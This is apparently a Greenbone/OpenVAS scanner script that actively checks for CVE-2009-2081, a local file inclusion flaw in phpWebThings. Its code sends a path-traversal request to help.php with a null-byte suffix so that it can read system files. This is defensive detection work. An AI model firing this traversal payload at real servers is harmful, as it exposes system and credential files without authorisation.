phpWebThings <= 1.5.2 LFI Vulnerability - Active Check

# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:phpwebthings:phpwebthings";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100220");
  script_version("2023-12-07T05:05:41+0000");
  script_tag(name:"last_modification", value:"2023-12-07 05:05:41 +0000 (Thu, 07 Dec 2023)");
  script_tag(name:"creation_date", value:"2009-06-14 17:19:03 +0200 (Sun, 14 Jun 2009)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:N/A:N");

  script_cve_id("CVE-2009-2081");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("phpWebThings <= 1.5.2 LFI Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_phpwebthings_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("phpwebthings/http/detected");

  script_tag(name:"summary", value:"phpWebThings is prone to a local file include (LFI)
  vulnerability because it fails to properly sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"An attacker can exploit this vulnerability to view files and
  execute local scripts in the context of the webserver process, which may aid in further
  attacks.");

  script_tag(name:"affected", value:"phpWebThings version 1.5.2 and probably prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/35313");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("os_func.inc");
include("port_service_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files();

foreach pattern (keys(files)) {
  file = files[pattern];

  url = dir + "/help.php?module=../../../../../../../../../../../../" + file + "%00";

  if (http_vuln_check(port: port, url: url, pattern: pattern)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(0);